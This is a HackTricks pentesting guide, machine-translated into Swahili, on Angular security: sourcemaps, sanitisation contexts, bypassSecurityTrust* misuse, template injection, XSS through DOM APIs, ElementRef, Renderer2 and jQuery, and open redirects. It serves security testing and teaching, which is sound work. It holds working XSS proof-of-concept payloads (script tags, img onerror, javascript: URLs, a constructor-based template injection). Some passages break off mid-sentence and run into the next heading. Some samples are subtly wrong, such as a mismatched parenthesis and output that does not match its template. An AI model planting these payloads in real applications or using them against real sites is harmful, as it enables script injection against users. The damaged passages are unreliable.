hacktricks/network-services-pentesting/pentesting-web/angular.md

# Angular

## Orodha ya Ukaguzi

Orodha ya ukaguzi [kutoka hapa](https://lsgeurope.com/post/angular-security-checklist).

* [ ] Angular inachukuliwa kama mfumo wa upande wa mteja na haitegemewi kutoa ulinzi upande wa seva
* [ ] Ramani ya chanzo kwa ajili ya hati imelemazwa katika mipangilio ya mradi
* [ ] Kuingia kwa mtumiaji asiyeaminika daima huingizwa au kusafishwa kabla ya kutumiwa katika templeti
* [ ] Mtumiaji hana udhibiti juu ya templeti za upande wa seva au upande wa mteja
* [ ] Kuingia kwa mtumiaji asiyeaminika hufanyiwa usafi kwa kutumia muktadha sahihi wa usalama kabla ya kuaminika na programu
* [ ] `BypassSecurity*` njia hazitumiwi na kuingia kwa mtumiaji asiyeaminika
* [ ] Kuingia kwa mtumiaji asiyeaminika haipitishwi kwa darasa za Angular kama vile `ElementRef`, `Renderer2` na `Document`, au vyanzo vingine vya JQuery/DOM

## Ni nini Angular

Angular ni mfumo wa upande wa mteja wenye nguvu na wa chanzo wazi unaotunzwa na Google. Inatumia TypeScript kuongeza uwezo wa kusoma na kurekebisha kificho. Kwa kutumia mifumo imara ya usalama, Angular inazuia udhaifu wa kawaida wa upande wa mteja kama vile XSS na upyaishaji wa wazi. Inaweza kutumika pia upande wa seva, hivyo kuzingatia masuala ya usalama ni muhimu kutoka pande zote mbili.

## Muundo wa mfumo

Ili kuelewa vizuri misingi ya Angular, hebu tuangalie dhana muhimu.

Mradi wa kawaida wa Angular kawaida unaonekana kama:
```bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
Kulingana na nyaraka, kila programu ya Angular ina angalau kipengele kimoja, kipengele cha msingi (`AppComponent`) ambacho kinahusisha muundo wa vipengele na DOM. Kila kipengele kinatambulisha darasa ambalo lina data na mantiki ya programu, na kinaunganishwa na kigezo cha HTML ambacho kinatambulisha mtazamo wa kuonyeshwa katika mazingira ya lengo. Msimamizi wa `@Component()` anatambua darasa lililopo chini yake kama kipengele, na hutoa kigezo na metadata inayohusiana na kipengele. `AppComponent` inatambulishwa katika faili ya `app.component.ts`.

Angular NgModules hutangaza muktadha wa uundaji kwa seti ya vipengele ambayo inazingatia kikoa cha programu, mchakato wa kazi, au seti ya uwezo inayohusiana. Kila programu ya Angular ina moduli ya msingi, kawaida inayoitwa `AppModule`, ambayo hutoa mfumo wa kuanzisha programu. Programu kawaida ina moduli nyingi za kazi. `AppModule` inatambulishwa katika faili ya `app.module.ts`.

NgModule ya `Router` ya Angular hutoa huduma ambayo inakuwezesha kutambulisha njia ya urambazaji kati ya hali tofauti za programu na muundo wa maoni katika programu yako. `RouterModule` inatambulishwa katika faili ya `app-routing.module.ts`.

Kwa data au mantiki ambayo haifungamani na mtazamo maalum, na unataka kushiriki kati ya vipengele, unaweza kuunda darasa la huduma. Ufafanuzi wa darasa la huduma unatanguliwa mara moja na msimamizi wa `@Injectable()`. Msimamizi hutoa metadata ambayo inaruhusu watoa wengine kuingizwa kama tegemezi katika darasa lako. Uingizaji wa tegemezi (DI) inakuwezesha kuweka darasa lako la vipengele kuwa nyepesi na yenye ufanisi. Hawapati data kutoka kwenye seva, kuthibitisha kuingia kwa mtumiaji, au kuingiza moja kwa moja kwenye konsoli; wanatekeleza kazi kama hizo kwa huduma.

## Mpangilio wa Sourcemap

Mfumo wa Angular unabadilisha faili za TypeScript kuwa nambari ya JavaScript kwa kufuata chaguo za `tsconfig.json` na kisha kujenga mradi na mpangilio wa `angular.json`. Tukiangalia faili ya `angular.json`, tumeona chaguo la kuwezesha au kulemaza sourcemap. Kulingana na nyaraka za Angular, mpangilio wa chaguo-msingi una faili ya sourcemap iliyowezeshwa kwa hati na haifichwi kwa chaguo-msingi:
```json
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}
```
Kwa ujumla, faili za sourcemap hutumiwa kwa madhumuni ya kutatua matatizo ya kificho kwa kuwezesha ufuatiliaji wa faili zilizotengenezwa hadi faili zao za awali. Kwa hiyo, siyo rahisi kutumia sourcemaps katika mazingira ya uzalishaji. Ikiwa sourcemaps zimeamilishwa, inaboresha uwezo wa kusoma na kusaidia katika uchambuzi wa faili kwa kuiga hali ya awali ya mradi wa Angular. Hata hivyo, ikiwa zimelemazwa, mchambuzi bado anaweza kuchambua faili ya JavaScript iliyokompiliwa kwa kutafuta mifano ya usalama.

Zaidi ya hayo, faili ya JavaScript iliyokompiliwa na mradi wa Angular inaweza kupatikana katika zana za maendeleo ya kivinjari → Vyanzo (au Mchunguzi na Vyanzo) → \[id].main.js. Kulingana na chaguo zilizowezeshwa, faili hii inaweza kuwa na safu ifuatayo mwishoni `//# sourceMappingURL=[id].main.js.map` au inaweza kutokuwa nayo, ikiwa chaguo la **fichwa** limewekwa kama **kweli**. Hata hivyo, ikiwa sourcemap imelemazwa kwa **scripts**, upimaji unakuwa mgumu zaidi, na hatuwezi kupata faili hiyo. Aidha, sourcemap inaweza kuwezeshwa wakati wa ujenzi wa mradi kama `ng build --source-map`.

## Uunganishaji wa data

Uunganishaji unahusu mchakato wa mawasiliano kati ya sehemu na maoni yake yanayolingana. Hutumiwa kwa kuhamisha data kati ya mfumo wa Angular. Data inaweza kupitishwa kupitia njia mbalimbali, kama vile kupitia matukio, uingizaji, mali, au kupitia mfumo wa uunganishaji wa pande mbili. Zaidi ya hayo, data inaweza pia kushirikiwa kati ya sehemu zinazohusiana (uhusiano wa mzazi-mtoto) na kati ya sehemu mbili zisizohusiana kwa kutumia kipengele cha Huduma.

Tunaweza kugawanya uunganishaji kwa mtiririko wa data:

* Chanzo cha data kwenda kwenye lengo la maoni (inajumuisha _uingizaji_, _mali_, _vivutio_, _darasa_, na _mitindo_); inaweza kutumika kwa kutumia `[]` au `{{}}` kwenye kigezo;
* Lengo la maoni kwenda kwenye chanzo cha data (inajumuisha _matukio_); inaweza kutumika kwa kutumia `()` kwenye kigezo;
* Pande mbili; inaweza kutumika kwa kutumia `[()]` kwenye kigezo.

Uunganishaji unaweza kutumika kwenye mali, matukio, na vivutio, pamoja na kwenye mwanachama yeyote wa umma wa mwongozo wa chanzo:

| AINA      | LENGO                                                    | MFANO                                                               |
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
| Mali      | Mali ya kipengele, Mali ya sehemu, Mali ya mwongozo       | \<img \[alt]="hero.name" \[src]="heroImageUrl">                      |
| Tukio     | Tukio la kipengele, Tukio la sehemu, Tukio la mwongozo    | \<button type="button" (click)="onSave()">Save                       |
| Pande mbili | Tukio na mali                                            | \<input \[(ngModel)]="name">                                         |
| Vipengele | Kipengele (ubaguzi)                                      | \<button type="button" \[attr.aria-label]="help">help                |
| Darasa     | mali ya darasa                                            | \<div \[class.special]="isSpecial">Special                           |
| Mtindo     | mali ya mtindo                                            | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |

## Mfumo wa usalama wa Angular

Ubunifu wa Angular unajumuisha uwekaji wa alama au usafi wa data yote kwa chaguo-msingi, hivyo kuwa vigumu zaidi kugundua na kutumia udhaifu wa XSS katika miradi ya Angular. Kuna hali mbili tofauti za kushughulikia data:

1.  Uingizaji au `{{user_input}}` - hufanya uwekaji wa alama unaotegemea muktadha na kuchukulia kuingizwa kwa mtumiaji kama maandishi;

```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}
```

Matokeo: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
2.  Uunganishaji na mali, vivutio, darasa na mitindo au `[attribute]="user_input"` - hufanya usafi kulingana na muktadha wa usalama uliowekwa.

```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>
```

Matokeo: `<div><h1>test</h1></div>`

Kuna aina 6 za `SecurityContext` :

* `None`;
* `HTML` hutumiwa wakati wa kuchambua thamani kama HTML;
* `STYLE` hutumiwa wakati wa kufunga CSS kwenye mali ya `style`;
* `URL` hutumiwa kwa mali za URL, kama vile `<a href>`;
* `SCRIPT` hutumiwa kwa nambari ya JavaScript;
* `RESOURCE_URL` kama URL ambayo inasomwa na kutekelezwa kama nambari, kwa mfano, katika `<script src>`.

## Udhaifu

### Kupita njia za Usalama wa Imani

Angular inaleta orodha ya njia za kupita mchakato wake wa usafi wa kawaida na kuonyesha kuwa thamani inaweza kutumiwa salama katika muktadha maalum, kama ilivyo katika mifano tano ifuatayo:

1.  `bypassSecurityTrustUrl` hutumiwa kuonyesha kuwa thamani iliyotolewa ni URL salama ya mtindo:

```jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>

//matokeo
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
```
2.  `bypassSecurityTrustResourceUrl` hutumiwa kuonyesha kuwa thamani iliyotolewa ni URL salama ya rasilimali:

```jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//matokeo
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3.  `bypassSecurityTrustHtml` hutumiwa kuonyesha kuwa thamani iliyotolewa ni HTML salama. Ni muhimu kutambua kuwa kuweka vipengele vya `script` kwenye mti wa DOM kwa njia hii haitasababisha utekelezaji wa nambari ya JavaScript iliyofungwa, kutokana na jinsi vipengele hivi vinavyoongezwa kwenye mti wa DOM.

```jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//matokeo
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4.  `bypassSecurityTrustScript` hutumiwa kuonyesha kuwa thamani iliyotolewa ni JavaScript salama. Hata hivyo, tuligundua kuwa tabia yake ni ngumu kutabiri, kwa sababu hatukuweza kutekeleza nambari ya JS katika templeti kwa kutumia njia hii.

```jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//matokeo
-
```
5.  `bypassSecurityTrustStyle` hutumiwa kuonyesha kuwa thamani iliyotolewa ni CSS salama. Mfano ufuatao unaonyesha u
### Uingizaji wa HTML

Udhaifu huu unatokea wakati kuingia kwa mtumiaji inafungwa kwa moja ya mali tatu: `innerHTML`, `outerHTML`, au `iframe` `srcdoc`. Wakati kufunga kwa mali hizi kunatambua HTML kama ilivyo, kuingia kunasafishwa kwa kutumia `SecurityContext.HTML`. Hivyo, uingizaji wa HTML unawezekana, lakini udukuzi wa tovuti (XSS) haupo.

Mfano wa kutumia `innerHTML`:
```jsx
//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>
```
Matokeo ni `<div><h1>jaribio</h1></div>`.

### Uingizaji wa Kigezo

#### Uundaji wa Upande wa Mteja (CSR)

Angular hutumia templeti kuunda kurasa kwa njia ya kudumu. Njia hii inahusisha kuzingira maelezo ya kigezo ambayo Angular inahitaji kuchambua ndani ya mabano mara mbili ya wimbi (`{{}}`). Kwa njia hii, mfumo hutoa utendaji zaidi. Kwa mfano, kigezo kama `{{1+1}}` itaonyeshwa kama 2.

Kwa kawaida, Angular huzuia kuingizwa kwa data kutoka kwa mtumiaji ambayo inaweza kuchanganywa na maelezo ya kigezo (kwa mfano, herufi kama vile \`< > ' " \`\`). Hii inamaanisha kuwa hatua za ziada zinahitajika ili kuzunguka kizuizi hiki, kama kutumia kazi ambazo huzalisha vitu vya herufi za JavaScript ili kuepuka matumizi ya herufi zilizopigwa marufuku. Walakini, ili kufanikisha hili, lazima tuzingatie muktadha wa Angular, mali zake, na variables. Kwa hivyo, shambulio la uingizaji wa kigezo linaweza kuonekana kama ifuatavyo:
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
```
Kama inavyoonekana hapo juu: `constructor` inahusu wigo wa mali ya Kitu `constructor`, ikiruhusu sisi kuita mjenzi wa String na kutekeleza nambari yoyote.

#### Uundaji wa Upande wa Seva (SSR)

Tofauti na CSR, ambayo hufanyika katika DOM ya kivinjari, Angular Universal inahusika na SSR ya faili za templeti. Faili hizi kisha hutumwa kwa mtumiaji. Licha ya tofauti hii, Angular Universal hutumia taratibu sawa za usafi zinazotumiwa katika CSR ili kuimarisha usalama wa SSR. Udhaifu wa kuingiza templeti katika SSR unaweza kugunduliwa kwa njia ile ile kama katika CSR, kwa sababu lugha ya templeti iliyotumiwa ni ile ile.

Bila shaka, pia kuna uwezekano wa kuingiza udhaifu mpya wa kuingiza templeti wakati wa kutumia injini za templeti za watu wa tatu kama Pug na Handlebars.

### XSS

#### Interface za DOM

Kama ilivyosemwa hapo awali, tunaweza kufikia moja kwa moja DOM kwa kutumia kiolesura cha _Document_. Ikiwa kuingia kwa mtumiaji haijathibitishwa mapema, inaweza kusababisha udhaifu wa kuingiza tovuti (XSS).

Tumetumia njia za `document.write()` na `document.createElement()` katika mifano hapa chini:
```jsx
//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
```
#### Darasa za Angular

Kuna darasa kadhaa ambazo zinaweza kutumika kufanya kazi na vipengele vya DOM katika Angular: `ElementRef`, `Renderer2`, `Location`, na `Document`. Maelezo mafupi ya darasa la mwisho mawili yanapatikana katika sehemu ya **Open redirects**. Tofauti kuu kati ya darasa la kwanza na la pili ni kwamba API ya `Renderer2` hutoa safu ya kuficha kati ya kipengele cha DOM na nambari ya kipengele, wakati `ElementRef` inashikilia tu kumbukumbu ya kipengele. Kwa hiyo, kulingana na nyaraka za Angular, API ya `ElementRef` inapaswa kutumiwa tu kama chaguo la mwisho wakati ufikiaji wa moja kwa moja wa DOM unahitajika.

*   `ElementRef` ina mali ya `nativeElement`, ambayo inaweza kutumika kubadilisha vipengele vya DOM. Hata hivyo, matumizi yasiyofaa ya `nativeElement` yanaweza kusababisha udhaifu wa kuingiza XSS, kama inavyoonyeshwa hapa chini:

```tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
```
*   Licha ya ukweli kwamba `Renderer2` hutoa API ambayo inaweza kutumiwa salama hata wakati ufikiaji wa moja kwa moja wa vipengele vya asili haikubaliki, bado ina kasoro za usalama. Kwa kutumia `Renderer2`, inawezekana kuweka sifa kwenye kipengele cha HTML kwa kutumia njia ya `setAttribute()`, ambayo haina kinga dhidi ya XSS.

```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
```
*   Ili kuweka mali ya kipengele cha DOM, unaweza kutumia njia ya `Renderer2.setProperty()` na kusababisha shambulio la XSS:

```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
```

Wakati wa utafiti wetu, pia tulichunguza tabia ya njia nyingine za `Renderer2`, kama vile `setStyle()`, `createComment()`, na `setValue()`, kuhusiana na XSS na mashambulio ya CSS. Hata hivyo, hatukuweza kupata njia sahihi za mashambulio kwa njia hizi kutokana na mipaka yao ya kazi.

#### jQuery

jQuery ni maktaba ya JavaScript yenye kasi, ndogo, na yenye kipengele tajiri ambayo inaweza kutumika katika mradi wa Angular ili kusaidia katika kubadilisha vitu vya HTML DOM. Hata hivyo, kama inavyojulikana, njia za maktaba hii zinaweza kutumiwa kufanikisha udhaifu wa XSS. Ili kujadili jinsi baadhi ya njia za jQuery zinazoweza kuwa na udhaifu zinaweza kutumiwa katika miradi ya Angular, tumeongeza sehemu hii.

*   Njia ya `html()` inapata maudhui ya HTML ya kipengele cha kwanza katika seti ya vipengele vilivyolingana au inaweka maudhui ya HTML ya kila kipengele kilicholingana. Hata hivyo, kwa kubuni, kila konstrukta ya jQuery au njia ambayo inakubali kamba ya HTML inaweza kutekeleza nambari. Hii inaweza kutokea kwa kuingiza vitambulisho vya `<script>` au matumizi ya sifa za HTML ambazo hutekeleza nambari kama inavyoonyeshwa katika mfano.

```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
```
*   Njia ya `jQuery.parseHTML()` hutumia njia za asili kuwabadilisha kamba kuwa seti ya nodes za DOM, ambazo kisha zinaweza kuingizwa katika hati.

```tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])
```

Kama ilivyotajwa hapo awali, APIs nyingi za jQuery ambazo zinakubali kamba za HTML zitakimbia hati ambazo zimejumuishwa katika HTML. Njia ya `jQuery.parseHTML()` haiendeshi hati katika HTML iliyopanguliwa isipokuwa `keepScripts` imeelezwa kuwa `true`. Hata hivyo, bado inawezekana katika mazingira mengi kutekeleza hati kwa njia isiyo ya moja kwa moja; kwa mfano, kupitia sifa ya `<img onerror>`.

```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>
```

### Open redirects

#### Interface za DOM

Kulingana na nyaraka za W3C, vitu vya `window.location` na `document.location` vinachukuliwa kama alama sawa katika vivinjari vya kisasa. Ndiyo sababu wana utekelezaji sawa wa baadhi ya njia na mali, ambayo inaweza kusababisha kufungua upya na mashambulio ya DOM XSS na matumizi ya `javascript://` kama inavyotajwa hapa chini.

*   `window.location.href`(na `document.location.href`)

Njia ya kanuni ya kupata kipengele cha sasa cha eneo la DOM ni kutumia `window.location`. Pia inaweza kutumika kuhamisha kivinjari kwenye ukurasa mpya. Kwa hiyo, kuwa na udhibiti juu ya kipengele hiki kunaruhusu sisi kufaidika na udhaifu wa kufungua upya.

```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```

Mchakato wa kufaidika ni sawa kwa mazingira yafuatayo.
*   `window.location.assign()`(na `document.location.assign()`)

Njia hii husababisha dirisha kupakia na kuonyesha hati kwenye URL uliyotaja. Ikiwa tunadhibiti njia hii, inaweza kuwa njia ya kuingiza kwa shambulio la kufungua upya.

```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
```
*   `window.location.replace()`(na `document.location.replace()`)

Njia hii inachukua nafasi ya rasilimali ya sasa na ile iliyotolewa na URL.

Tofauti na njia ya `assign()`, baada ya kutumia `window.location.replace()`, ukurasa wa sasa hautahifadhiwa katika Historia ya kikao. Hata hivyo, bado ni posible kufaidika na udhaifu wa kufungua upya tunapodhibiti njia
#### Darasa za Angular

*   Kulingana na hati ya Angular, `Document` ya Angular ni sawa na hati ya DOM, ambayo inamaanisha ni rahisi kutumia njia za kawaida za hati ya DOM kuathiri udhaifu wa upande wa mteja katika Angular. Mali na njia za `Document.location` zinaweza kuwa hatari kwa mashambulizi ya kuhamisha ukurasa kwa mafanikio kama ilivyoonyeshwa katika mfano huu:

```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Bonyeza hapa!</button>
```
*   Wakati wa hatua ya utafiti, pia tulipitia darasa la Angular `Location` kwa ajili ya udhaifu wa kuhamisha ukurasa, lakini hatukupata njia sahihi. `Location` ni huduma ya Angular ambayo programu zinaweza kutumia kuwasiliana na URL ya sasa ya kivinjari. Huduma hii ina njia kadhaa za kubadilisha URL iliyotolewa - `go()`, `replaceState()`, na `prepareExternalUrl()`. Hata hivyo, hatuwezi kuzitumia kwa kuhamisha kwa kikoa cha nje. Kwa mfano:

```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
```

Matokeo: `http://localhost:4200/http://google.com/about`
*   Darasa la Angular `Router` linatumika kwa kiasi kikubwa kwa ajili ya kuvinjari ndani ya kikoa kimoja na halileti udhaifu wowote ziada kwa programu:

```jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
```

Matokeo: `http://localhost:4200/https:`

Njia zifuatazo pia zinatumia kuvinjari ndani ya kikoa:

```jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
```

## Marejeo

* [Angular](https://angular.io/)
* [Angular Security: The Definitive Guide (Sehemu ya 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
* [Angular Security: The Definitive Guide (Sehemu ya 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
* [Angular Security: The Definitive Guide (Sehemu ya 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
* [Angular Security: Orodha ya Ukaguzi](https://lsgeurope.com/post/angular-security-checklist)
* [Muundo wa Faili ya Nafasi ya Kazi na Mradi](https://angular.io/guide/file-structure)
* [Utangulizi kwa Vipengele na Templeti](https://angular.io/guide/architecture-components)
* [Usanidi wa Ramani ya Chanzo](https://angular.io/guide/workspace-config#source-map-configuration)
* [Syntax ya Kufunga](https://angular.io/guide/binding-syntax)
* [Muktadha wa Angular: Uunganishaji Rahisi wa Data kwa Miti ya Vipengele Iliyofungwa na Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
* [Usafi na Muktadha wa Usalama](https://angular.io/guide/security#sanitization-and-security-contexts)
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS katika Angular na AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Mfano wa Renderer2: Kubadilisha DOM katika Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
* [Hati ya API ya jQuery](http://api.jquery.com/)
* [Jinsi ya Kutumia jQuery na Angular (Wakati Lazima)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Hati ya Angular](https://angular.io/api/common/DOCUMENT)
* [Hati ya Angular Location](https://angular.io/api/common/Location)
* [Hati ya Angular Router](https://angular.io/api/router/Router)